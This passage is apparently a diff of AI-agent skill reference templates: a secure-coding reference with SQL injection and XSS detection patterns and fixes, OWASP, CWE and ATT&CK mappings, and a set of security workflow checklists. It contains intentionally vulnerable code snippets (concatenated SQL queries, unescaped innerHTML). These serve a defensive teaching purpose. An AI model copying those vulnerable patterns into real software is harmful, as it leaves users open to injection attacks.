This section demonstrates the type of detailed content that belongs in references rather than SKILL.md.
### Example: Comprehensive Vulnerability Detection
#### SQL Injection Detection Patterns
**Pattern 1: String Concatenation in Queries**
```python
# Vulnerable pattern
query = "SELECT * FROM users WHERE id = " + user_id
cursor.execute(query)
# Detection criteria:
# - SQL keyword (SELECT, INSERT, UPDATE, DELETE)
# - String concatenation operator (+, f-string)
# - Variable user input (request params, form data)
# Severity: HIGH
# CWE: CWE-89
# OWASP: A03:2021 - Injection
```
**Remediation**:
```python
# Fixed: Parameterized query
query = "SELECT * FROM users WHERE id = ?"
cursor.execute(query, (user_id,))
# OR using ORM
user = User.objects.get(id=user_id)
```
**Pattern 2: Unsafe String Formatting**
```python
# Vulnerable patterns
query = f"SELECT * FROM users WHERE name = '{username}'"
query = "SELECT * FROM users WHERE name = '%s'" % username
query = "SELECT * FROM users WHERE name = '{}'".format(username)
# All three patterns are vulnerable to SQL injection
```
#### Cross-Site Scripting (XSS) Detection
**Pattern 1: Unescaped Output in Templates**
```javascript
// Vulnerable: Direct HTML injection
element.innerHTML = userInput;
document.write(userInput);
// Vulnerable: React dangerouslySetInnerHTML
<div dangerouslySetInnerHTML={{__html: userComment}} />
// Detection criteria:
# - Direct DOM manipulation (innerHTML, document.write)
# - React dangerouslySetInnerHTML with user data
# - Template engines with autoescaping disabled
// Severity: HIGH
// CWE: CWE-79
// OWASP: A03:2021 - Injection
```
**Remediation**:
```javascript
// Fixed: Escaped output
element.textContent = userInput; // Auto-escapes
// Fixed: Sanitization library
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userComment);
<div dangerouslySetInnerHTML={{__html: clean}} />
```
---
## Security Framework Mappings
This section provides comprehensive security framework mappings for findings.
### OWASP Top 10
Map security findings to OWASP Top 10 (2021) categories:
| Category | Title | Common Vulnerabilities |
|----------|-------|----------------------|
| **A01:2021** | Broken Access Control | Authorization bypass, privilege escalation, IDOR |
| **A02:2021** | Cryptographic Failures | Weak crypto, plaintext storage, insecure TLS |
| **A03:2021** | Injection | SQL injection, XSS, command injection, LDAP injection |
| **A04:2021** | Insecure Design | Missing security controls, threat modeling gaps |
| **A05:2021** | Security Misconfiguration | Default configs, verbose errors, unnecessary features |
| **A06:2021** | Vulnerable Components | Outdated libraries, unpatched dependencies |
| **A07:2021** | Auth & Session Failures | Weak passwords, session fixation, missing MFA |
| **A08:2021** | Software & Data Integrity | Unsigned updates, insecure CI/CD, deserialization |
| **A09:2021** | Logging & Monitoring Failures | Insufficient logging, no alerting, log injection |
| **A10:2021** | SSRF | Server-side request forgery, unvalidated redirects |
**Usage**: When reporting findings, map to primary OWASP category and reference the identifier (e.g., "A03:2021 - Injection").
### CWE Mappings
Map to relevant Common Weakness Enumeration categories for precise vulnerability classification:
#### Injection Vulnerabilities
- **CWE-78**: OS Command Injection
- **CWE-79**: Cross-site Scripting (XSS)
- **CWE-89**: SQL Injection
- **CWE-90**: LDAP Injection
- **CWE-91**: XML Injection
- **CWE-94**: Code Injection
#### Authentication & Authorization
- **CWE-287**: Improper Authentication
- **CWE-288**: Authentication Bypass Using Alternate Path
- **CWE-290**: Authentication Bypass by Spoofing
- **CWE-294**: Authentication Bypass by Capture-replay
- **CWE-306**: Missing Authentication for Critical Function
- **CWE-307**: Improper Restriction of Excessive Authentication Attempts
- **CWE-352**: Cross-Site Request Forgery (CSRF)
#### Cryptographic Issues
- **CWE-256**: Plaintext Storage of Password
- **CWE-259**: Use of Hard-coded Password
- **CWE-261**: Weak Encoding for Password
- **CWE-321**: Use of Hard-coded Cryptographic Key
- **CWE-326**: Inadequate Encryption Strength
- **CWE-327**: Use of Broken or Risky Cryptographic Algorithm
- **CWE-329**: Not Using a Random IV with CBC Mode
- **CWE-798**: Use of Hard-coded Credentials
#### Input Validation
- **CWE-20**: Improper Input Validation
- **CWE-73**: External Control of File Name or Path
- **CWE-434**: Unrestricted Upload of File with Dangerous Type
- **CWE-601**: URL Redirection to Untrusted Site
#### Sensitive Data Exposure
- **CWE-200**: Information Exposure
- **CWE-209**: Information Exposure Through Error Message
- **CWE-312**: Cleartext Storage of Sensitive Information
- **CWE-319**: Cleartext Transmission of Sensitive Information
- **CWE-532**: Information Exposure Through Log Files
**Usage**: Include CWE identifier in all vulnerability reports for standardized classification.
### MITRE ATT&CK
Reference relevant tactics and techniques for threat context:
#### Initial Access (TA0001)
- **T1190**: Exploit Public-Facing Application
- **T1133**: External Remote Services
- **T1078**: Valid Accounts
#### Execution (TA0002)
- **T1059**: Command and Scripting Interpreter
- **T1203**: Exploitation for Client Execution
#### Persistence (TA0003)
- **T1098**: Account Manipulation
- **T1136**: Create Account
- **T1505**: Server Software Component
#### Privilege Escalation (TA0004)
- **T1068**: Exploitation for Privilege Escalation
- **T1548**: Abuse Elevation Control Mechanism
#### Defense Evasion (TA0005)
- **T1027**: Obfuscated Files or Information
- **T1140**: Deobfuscate/Decode Files or Information
- **T1562**: Impair Defenses
#### Credential Access (TA0006)
- **T1110**: Brute Force
- **T1555**: Credentials from Password Stores
- **T1552**: Unsecured Credentials
#### Discovery (TA0007)
- **T1083**: File and Directory Discovery
- **T1046**: Network Service Scanning
#### Collection (TA0009)
- **T1005**: Data from Local System
- **T1114**: Email Collection
#### Exfiltration (TA0010)
- **T1041**: Exfiltration Over C2 Channel
- **T1567**: Exfiltration Over Web Service
**Usage**: When identifying vulnerabilities, consider which ATT&CK techniques an attacker could use to exploit them.
---
## Remediation Patterns
This section provides specific remediation guidance for common vulnerability types.
### SQL Injection Remediation
**Step 1: Identify vulnerable queries**
- Search for string concatenation in SQL queries
- Check for f-strings or format() with SQL keywords
- Review all database interaction code
**Step 2: Apply parameterized queries**
```python
# Python with sqlite3
cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))
# Python with psycopg2 (PostgreSQL)
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
# Python with SQLAlchemy (ORM)
from sqlalchemy import text
result = session.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id})
```
**Step 3: Validate and sanitize input** (defense in depth)
```python
import re
# Validate input format
if not re.match(r'^\d+$', user_id):
raise ValueError("Invalid user ID format")
# Use ORM query builders
user = User.query.filter_by(id=user_id).first()
```
**Step 4: Implement least privilege**
- Database user should have minimum required permissions
- Use read-only accounts for SELECT operations
- Never use admin/root accounts for application queries
### XSS Remediation
**Step 1: Enable auto-escaping**
- Most modern frameworks escape by default
- Ensure auto-escaping is not disabled
**Step 2: Use framework-specific safe methods**
```javascript
// React: Use JSX (auto-escapes)
<div>{userInput}</div>
// Vue: Use template syntax (auto-escapes)
<div>{{ userInput }}</div>
// Angular: Use property binding (auto-escapes)
<div [textContent]="userInput"></div>
```
**Step 3: Sanitize when HTML is required**
```javascript
import DOMPurify from 'dompurify';
// Sanitize HTML content
const clean = DOMPurify.sanitize(userHTML, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p'],
ALLOWED_ATTR: []
});
```
**Step 4: Content Security Policy (CSP)**
```html
<!-- Add CSP header -->
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'
```
---
## Advanced Configuration
This section contains detailed configuration options and tuning parameters.
### Example: SAST Tool Configuration
```yaml
# Advanced security scanner configuration
scanner:
# Severity threshold
severity_threshold: MEDIUM
# Rule configuration
rules:
enabled:
- sql-injection
- xss
- hardcoded-secrets
disabled:
- informational-only
# False positive reduction
confidence_threshold: HIGH
exclude_patterns:
- "*/test/*"
- "*/tests/*"
- "*/node_modules/*"
- "*.test.js"
- "*.spec.ts"
# Performance tuning
max_file_size_kb: 2048
timeout_seconds: 300
parallel_jobs: 4
# Output configuration
output_format: json
include_code_snippets: true
max_snippet_lines: 10
```
---
## Examples and Code Samples
This section provides comprehensive code examples for various scenarios.
### Example 1: Secure API Authentication
```python
# Secure API key handling
import os
from functools import wraps
from flask import Flask, request, jsonify
app = Flask(__name__)
# Load API key from environment (never hardcode)
VALID_API_KEY = os.environ.get('API_KEY')
if not VALID_API_KEY:
raise ValueError("API_KEY environment variable not set")
def require_api_key(f):
@wraps(f)
def decorated_function(*args, **kwargs):
api_key = request.headers.get('X-API-Key')
if not api_key:
return jsonify({'error': 'API key required'}), 401
# Constant-time comparison to prevent timing attacks
import hmac
if not hmac.compare_digest(api_key, VALID_API_KEY):
return jsonify({'error': 'Invalid API key'}), 403
return f(*args, **kwargs)
return decorated_function
@app.route('/api/secure-endpoint')
@require_api_key
def secure_endpoint():
return jsonify({'message': 'Access granted'})
```
### Example 2: Secure Password Hashing
```python
# Secure password storage with bcrypt
import bcrypt
def hash_password(password: str) -> str:
"""Hash a password using bcrypt."""
# Generate salt and hash password
salt = bcrypt.gensalt(rounds=12) # Cost factor: 12 (industry standard)
hashed = bcrypt.hashpw(password.encode('utf-8'), salt)
return hashed.decode('utf-8')
def verify_password(password: str, hashed: str) -> bool:
"""Verify a password against a hash."""
return bcrypt.checkpw(
password.encode('utf-8'),
hashed.encode('utf-8')
)
# Usage
stored_hash = hash_password("user_password")
is_valid = verify_password("user_password", stored_hash) # True
```
### Example 3: Secure File Upload
```python
# Secure file upload with validation
import os
import magic
from werkzeug.utils import secure_filename
ALLOWED_EXTENSIONS = {'pdf', 'png', 'jpg', 'jpeg'}
ALLOWED_MIME_TYPES = {
'application/pdf',
'image/png',
'image/jpeg'
}
MAX_FILE_SIZE = 5 * 1024 * 1024 # 5 MB
def is_allowed_file(filename: str, file_content: bytes) -> bool:
"""Validate file extension and MIME type."""
# Check extension
if '.' not in filename:
return False
ext = filename.rsplit('.', 1)[1].lower()
if ext not in ALLOWED_EXTENSIONS:
return False
# Check MIME type (prevent extension spoofing)
mime = magic.from_buffer(file_content, mime=True)
if mime not in ALLOWED_MIME_TYPES:
return False
return True
def handle_upload(file):
"""Securely handle file upload."""
# Check file size
file.seek(0, os.SEEK_END)
size = file.tell()
file.seek(0)
if size > MAX_FILE_SIZE:
raise ValueError("File too large")
# Read content for validation
content = file.read()
file.seek(0)
# Validate file type
if not is_allowed_file(file.filename, content):
raise ValueError("Invalid file type")
# Sanitize filename
filename = secure_filename(file.filename)
# Generate unique filename to prevent overwrite attacks
import uuid
unique_filename = f"{uuid.uuid4()}_{filename}"
# Save to secure location (outside web root)
upload_path = os.path.join('/secure/uploads', unique_filename)
file.save(upload_path)
return unique_filename
```
---
## Best Practices for Reference Documents
1. **Start with "When to use"** - Help Claude know when to load this reference
2. **Include table of contents** - For documents >100 lines
3. **Use concrete examples** - Code samples with vulnerable and fixed versions
4. **Map to frameworks** - OWASP, CWE, MITRE ATT&CK for context
5. **Provide remediation** - Don't just identify issues, show how to fix them
6. **Organize logically** - Group related content, use clear headings
7. **Keep examples current** - Use modern patterns and current framework versions
8. **Be concise** - Even in references, challenge every sentence

253
skills/offsec/webapp-sqlmap/references/WORKFLOW_CHECKLIST.md Normal file
View File

@@ -0,0 +1,253 @@
# Workflow Checklist Template
This template demonstrates workflow patterns for security operations. Copy and adapt these checklists to your specific skill needs.
## Pattern 1: Sequential Workflow Checklist
Use this pattern for operations that must be completed in order, step-by-step.
### Security Assessment Workflow
Progress:
[ ] 1. Identify application entry points and attack surface
[ ] 2. Map authentication and authorization flows
[ ] 3. Identify data flows and sensitive data handling
[ ] 4. Review existing security controls
[ ] 5. Document findings with framework references (OWASP, CWE)
[ ] 6. Prioritize findings by severity (CVSS scores)
[ ] 7. Generate report with remediation recommendations
Work through each step systematically. Check off completed items.
---
## Pattern 2: Conditional Workflow
Use this pattern when the workflow branches based on findings or conditions.
### Vulnerability Remediation Workflow
1. Identify vulnerability type
- If SQL Injection → See [sql-injection-remediation.md](sql-injection-remediation.md)
- If XSS (Cross-Site Scripting) → See [xss-remediation.md](xss-remediation.md)
- If Authentication flaw → See [auth-remediation.md](auth-remediation.md)
- If Authorization flaw → See [authz-remediation.md](authz-remediation.md)
- If Cryptographic issue → See [crypto-remediation.md](crypto-remediation.md)
2. Assess severity using CVSS calculator
- If CVSS >= 9.0 → Priority: Critical (immediate action)
- If CVSS 7.0-8.9 → Priority: High (action within 24h)
- If CVSS 4.0-6.9 → Priority: Medium (action within 1 week)
- If CVSS < 4.0 → Priority: Low (action within 30 days)
3. Apply appropriate remediation pattern
4. Validate fix with security testing
5. Document changes and update security documentation
---
## Pattern 3: Iterative Workflow
Use this pattern for operations that repeat across multiple targets or items.
### Code Security Review Workflow
For each file in the review scope:
1. Identify security-sensitive operations (auth, data access, crypto, input handling)
2. Check against secure coding patterns for the language
3. Flag potential vulnerabilities with severity rating
4. Map findings to CWE and OWASP categories
5. Suggest specific remediation approaches
6. Document finding with code location and fix priority
Continue until all files in scope have been reviewed.
---
## Pattern 4: Feedback Loop Workflow
Use this pattern when validation and iteration are required.
### Secure Configuration Generation Workflow
1. Generate initial security configuration based on requirements
2. Run validation script: `./scripts/validate_config.py config.yaml`
3. Review validation output:
- Note all errors (must fix)
- Note all warnings (should fix)
- Note all info items (consider)
4. Fix identified issues in configuration
5. Repeat steps 2-4 until validation passes with zero errors
6. Review warnings and determine if they should be addressed
7. Apply configuration once validation is clean
**Validation Loop**: Run validator → Fix errors → Repeat until clean
---
## Pattern 5: Parallel Analysis Workflow
Use this pattern when multiple independent analyses can run concurrently.
### Comprehensive Security Scan Workflow
Run these scans in parallel:
**Static Analysis**:
[ ] 1a. Run SAST scan (Semgrep/Bandit)
[ ] 1b. Run dependency vulnerability scan (Safety/npm audit)
[ ] 1c. Run secrets detection (Gitleaks/TruffleHog)
[ ] 1d. Run license compliance check
**Dynamic Analysis**:
[ ] 2a. Run DAST scan (ZAP/Burp)
[ ] 2b. Run API security testing
[ ] 2c. Run authentication/authorization testing
**Infrastructure Analysis**:
[ ] 3a. Run infrastructure-as-code scan (Checkov/tfsec)
[ ] 3b. Run container image scan (Trivy/Grype)
[ ] 3c. Run configuration review
**Consolidation**:
[ ] 4. Aggregate all findings
[ ] 5. Deduplicate and correlate findings
[ ] 6. Prioritize by risk (CVSS + exploitability + business impact)
[ ] 7. Generate unified security report
---
## Pattern 6: Research and Documentation Workflow
Use this pattern for security research and documentation tasks.
### Threat Modeling Workflow
Research Progress:
[ ] 1. Identify system components and boundaries
[ ] 2. Map data flows between components
[ ] 3. Identify trust boundaries
[ ] 4. Enumerate assets (data, services, credentials)
[ ] 5. Apply STRIDE framework to each component:
- Spoofing threats
- Tampering threats
- Repudiation threats
- Information disclosure threats
- Denial of service threats
- Elevation of privilege threats
[ ] 6. Map threats to MITRE ATT&CK techniques
[ ] 7. Identify existing mitigations
[ ] 8. Document residual risks
[ ] 9. Recommend additional security controls
[ ] 10. Generate threat model document
Work through each step systematically. Check off completed items.
---
## Pattern 7: Compliance Validation Workflow
Use this pattern for compliance checks against security standards.
### Security Compliance Audit Workflow
**SOC 2 Controls Review**:
[ ] 1. Review access control policies (CC6.1, CC6.2, CC6.3)
[ ] 2. Verify logical access controls implementation (CC6.1)
[ ] 3. Review authentication mechanisms (CC6.1)
[ ] 4. Verify encryption implementation (CC6.1, CC6.7)
[ ] 5. Review audit logging configuration (CC7.2)
[ ] 6. Verify security monitoring (CC7.2, CC7.3)
[ ] 7. Review incident response procedures (CC7.3, CC7.4)
[ ] 8. Verify backup and recovery processes (A1.2, A1.3)
**Evidence Collection**:
[ ] 9. Collect policy documents
[ ] 10. Collect configuration screenshots
[ ] 11. Collect audit logs
[ ] 12. Document control gaps
[ ] 13. Generate compliance report
---
## Pattern 8: Incident Response Workflow
Use this pattern for security incident handling.
### Security Incident Response Workflow
**Detection and Analysis**:
[ ] 1. Confirm security incident (rule out false positive)
[ ] 2. Determine incident severity (SEV1/2/3/4)
[ ] 3. Identify affected systems and data
[ ] 4. Preserve evidence (logs, memory dumps, network captures)
**Containment**:
[ ] 5. Isolate affected systems (network segmentation)
[ ] 6. Disable compromised accounts
[ ] 7. Block malicious indicators (IPs, domains, hashes)
[ ] 8. Implement temporary compensating controls
**Eradication**:
[ ] 9. Identify root cause
[ ] 10. Remove malicious artifacts (malware, backdoors, webshells)
[ ] 11. Patch vulnerabilities exploited
[ ] 12. Reset compromised credentials
**Recovery**:
[ ] 13. Restore systems from clean backups (if needed)
[ ] 14. Re-enable systems with monitoring
[ ] 15. Verify system integrity
[ ] 16. Resume normal operations
**Post-Incident**:
[ ] 17. Document incident timeline
[ ] 18. Identify lessons learned
[ ] 19. Update security controls to prevent recurrence
[ ] 20. Update incident response procedures
[ ] 21. Communicate with stakeholders
---
## Usage Guidelines
### When to Use Workflow Checklists
✅ **Use checklists for**:
- Complex multi-step operations
- Operations requiring specific order
- Security assessments and audits
- Incident response procedures
- Compliance validation tasks
❌ **Don't use checklists for**:
- Simple single-step operations
- Highly dynamic exploratory work
- Operations that vary significantly each time
### Adapting This Template
1. **Copy relevant pattern** to your skill's SKILL.md or create new reference file
2. **Customize steps** to match your specific security tool or process
3. **Add framework references** (OWASP, CWE, NIST) where applicable
4. **Include tool-specific commands** for automation
5. **Add decision points** where manual judgment is required
### Checklist Best Practices
- **Be specific**: "Run semgrep --config=auto ." not "Scan the code"
- **Include success criteria**: "Validation passes with 0 errors"
- **Reference standards**: Link to OWASP, CWE, NIST where relevant
- **Show progress**: Checkbox format helps track completion
- **Provide escape hatches**: "If validation fails, see troubleshooting.md"
### Integration with Feedback Loops
Combine checklists with validation scripts for maximum effectiveness:
1. Create checklist for the workflow
2. Provide validation script that checks quality
3. Include "run validator" step in checklist
4. Loop: Complete step → Validate → Fix issues → Re-validate
This pattern dramatically improves output quality through systematic validation.